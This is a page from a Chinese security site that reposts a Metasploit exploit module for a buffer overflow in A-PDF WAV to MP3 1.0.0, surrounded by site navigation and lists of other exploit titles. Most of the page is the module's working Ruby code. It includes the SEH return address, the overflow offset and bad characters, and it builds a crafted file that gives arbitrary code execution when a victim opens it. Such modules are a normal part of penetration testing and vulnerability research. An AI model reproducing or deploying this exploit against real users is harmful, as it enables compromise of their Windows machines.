首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
A-PDF WAV to MP3 1.0.0 Buffer Overflow Vulnerability
来源:metasploit.com 作者:dookie 发布时间:2013-09-22  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'd4rk-h4ck3r', # Original Exploit
          'Dr_IDE',      # SEH Exploit
          'dookie'       # MSF Module
        ],
      'References'     =>
        [
          [ 'OSVDB', '67241' ],
          [ 'EDB', '14676' ],
          [ 'EDB', '14681' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ],  # p/p/r in wavtomp3.exe
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 17 2010',
      'DefaultTarget'  => 0))
  
    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ], self.class)
  
  end
  
  def exploit
  
    sploit = rand_text_alpha_upper(target['Offset'])
    sploit << generate_seh_payload(target.ret)
  
    print_status("Creating '#{datastore['FILENAME']}' file ...")
  
    file_create(sploit)
  
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenEMR 4.1.1 Patch 14 SQLi Pr
·freeFTPd 1.0.10 PASS Command S
·Western Digital Arkeia Remote
·GLPI install.php Remote Comman
·McKesson ActiveX File/Environm
·Linksys WRT110 Remote Command
·TeraCopy 2.3 (default.mo) Lang
·CA BrightStor ARCserve Tape En
·Vino VNC Server 3.7.3 - Persis
·PCMAN FTP Server Post-Authenti
·HP ProCurve Manager SNAC Updat
·MS13-069 Microsoft Internet Ex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved